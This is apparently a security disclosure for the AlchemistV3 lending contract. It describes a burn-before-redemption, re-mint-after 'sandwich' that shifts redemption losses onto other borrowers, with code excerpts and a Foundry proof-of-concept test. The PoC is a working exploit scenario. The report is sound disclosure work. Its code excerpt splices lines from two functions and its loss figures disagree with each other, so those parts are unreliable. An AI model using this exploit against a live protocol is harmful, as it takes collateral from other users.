there is an issuse in this contract in the opeation of how it distributes the redemption losses among the CDP holders, because When a redemption occurs, the protocol uses a weight-based formula to fairly split the collateral loss across all users based on their debt positions, but an attacker can exploit a missing time-lock and make a manipulation, attackers can temporarily burn (repay) half of their debt right before a large redemption happens, and this is makes the protocol think there's less total debt than there actually is. so as result this will cause the protocol to calculate a higher loss percentage for everyone. But since the attacker has temporarily reduced their debt, they experience this higher percentage on a smaller amount, resulting in less loss. and after the redemption, the attacker re-borrows the same amount they burned. this is gone result that the attacker pays only 60-70% of their fair share of the redemption costs, while the users pay 130-140% of theirs. check the poc i use a scenarion confirm this , so this is allows attacker to steal 1,666 tokens from another user on a single 10,000 token redemption this need to be fixed ..
Vulnerability Details
the root of the bug is the mint is miss a check that is prevente users from minting in the same block after burning, the burn fucntion is blocks the burning after minting in the same block; and this asymmetry it's enables a temporarily reducing debt before a redemption to manipulate the global weight calculation and reduce the attacker's losses while increasing others' losses.
the vulnerability is came from this interconnected code here, the burn function is prevents the same-block repayment after minting from this --> https://github.com/alchemix-finance/v3-poc/blob/a192ab313c81ba3ab621d9ca1ee000110fbdd1e9/src/AlchemistV3.sol#L453C1-L496C1
functionburn(uint256amount,uint256recipientId)externalreturns(uint256){_checkArgument(amount >0);_checkForValidAccountId(recipientId);// Check that the user did not mint in this same block// This is used to prevent flash loan repaymentsif(block.number == _accounts[recipientId].lastMintBlock)revertCannotRepayOnMintBlock();
but there is a missing of Time-Lock in the mint Function the fucntion doesn't check if the user just burned debt or not here --> https://github.com/alchemix-finance/v3-poc/blob/a192ab313c81ba3ab621d9ca1ee000110fbdd1e9/src/AlchemistV3.sol#L417C1-L433C6 :
and the Account struct confirms this because it only tracks lastMintBlock, not lastBurnBlock here ---> https://github.com/alchemix-finance/v3-poc/blob/a192ab313c81ba3ab621d9ca1ee000110fbdd1e9/src/interfaces/IAlchemistV3.sol#L52 : so this a problem because users can burn debt and immediately mint it back in the next block.
this state of manipulation it's happen as this , when a user burns debt, the _subDebt function is reduces two values ---> https://github.com/alchemix-finance/v3-poc/blob/a192ab313c81ba3ab621d9ca1ee000110fbdd1e9/src/AlchemistV3.sol#L932C1-L953C6 :
and this reductions are immediate and global, so when an attackers is burns debt, they reduce, their own rawLocked and the global _totalLocked , so When a redemption is happens, it calculates a "weight" to determine how much collateral each user should lose. and this weight is based on the global _totalLocked here --> https://github.com/alchemix-finance/v3-poc/blob/a192ab313c81ba3ab621d9ca1ee000110fbdd1e9/src/AlchemistV3.sol#L631C9-L635C1 :
the weight formula is---> WeightIncrement(amount, total) = -log2((total - amount) / total) so when the total is smaller, the weight is larger.this is means, the normal redemption with _totalLocked = 10,000 is creates a weight of ~0.152 , and the manipulated redemption with _totalLocked = 9,500 is Creates weight of ~0.160 (higher!)
When users sync to apply the redemption loss, the calculation uses their current rawLocked on this line --> https://github.com/alchemix-finance/v3-poc/blob/a192ab313c81ba3ab621d9ca1ee000110fbdd1e9/src/AlchemistV3.sol#L1045C8-L1047C57 :
Impact Details
i use this as high because the attack that can came from this bug is can enables attackers to steal collateral from other CDP holders during the redemption, so time a significant redemption occurs in the Transmuter, then a malicious users can front-run it by temporarily reducing their debt position, and cause the redemption weight calculation to be based on deflated global locked collateral. and this is create a loss, and attackers can avoid 30-40% of their fair share of redemption losses, with that burden shifted to honest users who pay 30-40% more than they should. as an example i use in the test result on a 100,000 token redemption, an attacker save approximately 16,666 tokens while other users collectively lose that same amount extra a direct wealth transfer.
References
i use all on the vulnerability details
Proof of Concept
Proof of Concept
here is a test show and confirm the isssue copy past this in the and run it as
function mint(uint256 tokenId, uint256 amount, address recipient) external {
_checkArgument(recipient != address(0));
_checkForValidAccountId(tokenId);
_checkArgument(amount > 0);
_checkState(!loansPaused);
_checkAccountOwnership(IAlchemistV3Position(alchemistPositionNFT).ownerOf(tokenId), msg.sender);
// Query transmuter and earmark global debt
_earmark();
// Sync current user debt before more is taken
_sync(tokenId);
// Mint tokens to recipient
_mint(tokenId, amount, recipient);
}
function _subDebt(uint256 tokenId, uint256 amount) internal {
Account storage account = _accounts[tokenId];
// Update collateral variables
uint256 toFree = convertDebtTokensToYield(amount) * minimumCollateralization / FIXED_POINT_SCALAR;
uint256 lockedCollateral = convertDebtTokensToYield(account.debt) * minimumCollateralization / FIXED_POINT_SCALAR;
// For cases when someone above minimum LTV gets liquidated.
if (toFree > _totalLocked) {
toFree = _totalLocked;
}
account.debt -= amount;
totalDebt -= amount;
_totalLocked -= toFree; << here where is reduces GLOBAL locked collateral
account.rawLocked = lockedCollateral - toFree; << here where is reduces the USER's locked collateral
// Clamp to avoid underflow due to rounding later at a later time
if (cumulativeEarmarked > totalDebt) {
cumulativeEarmarked = totalDebt;
}
// update locked collateral + collateral weight
uint256 old = _totalLocked; << here it's Uses the current total, which may be artificially low
_totalLocked = totalOut > old ? 0 : old - totalOut;
_collateralWeight += PositionDecay.WeightIncrement(totalOut > old ? old : totalOut, old);
// Collateral to remove from redemptions and fees
uint256 collateralToRemove = PositionDecay.ScaleByWeightDelta(account.rawLocked, _collateralWeight - account.lastCollateralWeight);
account.collateralBalance -= collateralToRemove;
function test_POC_RedemptionSandwichAttack_TheftOfYield() external {
console.log("\n=== POC: Redemption Sandwich Attack ===\n");
// Setup: Two users with identical positions
uint256 depositAmount = 100_000e18;
uint256 mintAmount = 50_000e18;
// === Setup Alice (Attacker) ===
address alice = address(0xA11CE);
// Give Alice vault tokens using the magic deposit helper
_magicDepositToVault(address(vault), alice, depositAmount);
vm.startPrank(alice);
SafeERC20.safeApprove(address(vault), address(alchemist), type(uint256).max);
alchemist.deposit(depositAmount, alice, 0);
uint256 aliceTokenId = AlchemistNFTHelper.getFirstTokenId(alice, address(alchemistNFT));
alchemist.mint(aliceTokenId, mintAmount, alice);
vm.stopPrank();
// === Setup Bob (Victim) ===
address bob = address(0xB0B);
// Give Bob vault tokens using the magic deposit helper
_magicDepositToVault(address(vault), bob, depositAmount);
vm.startPrank(bob);
SafeERC20.safeApprove(address(vault), address(alchemist), type(uint256).max);
alchemist.deposit(depositAmount, bob, 0);
uint256 bobTokenId = AlchemistNFTHelper.getFirstTokenId(bob, address(alchemistNFT));
alchemist.mint(bobTokenId, mintAmount, bob);
vm.stopPrank();
// Record initial balances
(uint256 aliceCollateralBefore, uint256 aliceDebtBefore,) = alchemist.getCDP(aliceTokenId);
(uint256 bobCollateralBefore, uint256 bobDebtBefore,) = alchemist.getCDP(bobTokenId);
console.log("Initial State:");
console.log(" Alice Collateral:", aliceCollateralBefore / 1e18);
console.log(" Alice Debt:", aliceDebtBefore / 1e18);
console.log(" Bob Collateral:", bobCollateralBefore / 1e18);
console.log(" Bob Debt:", bobDebtBefore / 1e18);
console.log("");
// === SCENARIO A: Normal Redemption (Fair Distribution) ===
console.log("--- Scenario A: Normal Redemption (No Attack) ---");
// Snapshot state before redemption
uint256 snapshotId = vm.snapshot();
// Create and process large redemption
uint256 redemptionAmount = 10_000e18;
deal(address(alToken), address(0xdad), redemptionAmount);
vm.startPrank(address(0xdad));
IERC20(alToken).approve(address(transmuterLogic), redemptionAmount);
transmuterLogic.createRedemption(redemptionAmount);
vm.roll(block.number + 5_256_000); // Fast forward to maturity
transmuterLogic.claimRedemption(1);
vm.stopPrank();
// Sync both users to see redemption impact
alchemist.poke(aliceTokenId);
alchemist.poke(bobTokenId);
(uint256 aliceCollateralNormal, uint256 aliceDebtNormal,) = alchemist.getCDP(aliceTokenId);
(uint256 bobCollateralNormal, uint256 bobDebtNormal,) = alchemist.getCDP(bobTokenId);
uint256 aliceCollateralLossNormal = aliceCollateralBefore - aliceCollateralNormal;
uint256 bobCollateralLossNormal = bobCollateralBefore - bobCollateralNormal;
console.log("After Normal Redemption:");
console.log(" Alice Collateral Loss:", aliceCollateralLossNormal / 1e18);
console.log(" Bob Collateral Loss:", bobCollateralLossNormal / 1e18);
console.log(" Total Loss:", (aliceCollateralLossNormal + bobCollateralLossNormal) / 1e18);
console.log("");
// Restore to pre-redemption state
vm.revertTo(snapshotId);
// === SCENARIO B: Sandwich Attack ===
console.log("--- Scenario B: With Sandwich Attack ---");
// Step 1: Alice front-runs by burning half her debt
uint256 burnAmount = mintAmount / 2; // Burn 50% of debt
vm.startPrank(alice);
vm.roll(block.number + 1); // Move to next block (can't burn same block as mint)
SafeERC20.safeApprove(address(alToken), address(alchemist), burnAmount);
alchemist.burn(burnAmount, aliceTokenId);
vm.stopPrank();
(uint256 aliceCollateralAfterBurn, uint256 aliceDebtAfterBurn,) = alchemist.getCDP(aliceTokenId);
console.log("After Alice Burns Debt:");
console.log(" Alice Debt Reduced:", (aliceDebtBefore - aliceDebtAfterBurn) / 1e18);
console.log(" Alice Collateral:", aliceCollateralAfterBurn / 1e18);
console.log("");
// Step 2: Large redemption occurs (victim transaction)
vm.roll(block.number + 1);
deal(address(alToken), address(0xdad), redemptionAmount);
vm.startPrank(address(0xdad));
IERC20(alToken).approve(address(transmuterLogic), redemptionAmount);
transmuterLogic.createRedemption(redemptionAmount);
vm.roll(block.number + 5_256_000);
transmuterLogic.claimRedemption(1);
vm.stopPrank();
// Step 3: Alice back-runs by re-borrowing
vm.roll(block.number + 1);
vm.startPrank(alice);
SafeERC20.safeApprove(address(alToken), address(alchemist), 0);
alchemist.mint(aliceTokenId, burnAmount, alice); // Re-borrow the same amount
vm.stopPrank();
// Sync both users to see final state
alchemist.poke(aliceTokenId);
alchemist.poke(bobTokenId);
(uint256 aliceCollateralAttack, uint256 aliceDebtAttack,) = alchemist.getCDP(aliceTokenId);
(uint256 bobCollateralAttack, uint256 bobDebtAttack,) = alchemist.getCDP(bobTokenId);
uint256 aliceCollateralLossAttack = aliceCollateralBefore - aliceCollateralAttack;
uint256 bobCollateralLossAttack = bobCollateralBefore - bobCollateralAttack;
console.log("After Sandwich Attack:");
console.log(" Alice Collateral Loss:", aliceCollateralLossAttack / 1e18);
console.log(" Bob Collateral Loss:", bobCollateralLossAttack / 1e18);
console.log(" Total Loss:", (aliceCollateralLossAttack + bobCollateralLossAttack) / 1e18);
console.log("");
// === PROOF OF THEFT ===
console.log("=== PROOF OF THEFT ===");
// Alice should lose the same as Bob (they started equal)
// But due to the attack, Alice loses LESS
uint256 aliceSavings = aliceCollateralLossNormal - aliceCollateralLossAttack;
uint256 bobExtraLoss = bobCollateralLossAttack - bobCollateralLossNormal;
console.log("Alice's Unfair Savings:", aliceSavings / 1e18);
console.log("Bob's Extra Loss:", bobExtraLoss / 1e18);
console.log("Wealth Stolen from Bob:", bobExtraLoss / 1e18);
console.log("");
// Assertions proving the theft
// 1. Alice loses LESS than fair share
assertLt(aliceCollateralLossAttack, aliceCollateralLossNormal, "Alice should lose LESS with attack");
// 2. Bob loses MORE than fair share
assertGt(bobCollateralLossAttack, bobCollateralLossNormal, "Bob should lose MORE when Alice attacks");
// 3. Alice's savings approximately equals Bob's extra loss (wealth transfer)
assertApproxEqRel(aliceSavings, bobExtraLoss, 0.05e18, "Wealth transfer from Bob to Alice");
// 4. The difference is significant (not rounding error)
assertGt(aliceSavings, 100e18, "Savings must be significant (>100 tokens)");
console.log("VULNERABILITY CONFIRMED: Alice stole yield from Bob");
console.log("Impact: HIGH - Theft of Unclaimed Yield");
console.log("Alice avoided her fair share of redemption losses");
console.log("Bob paid more than his fair share");
console.log("Net wealth transfer from honest user to attacker\n");
}
}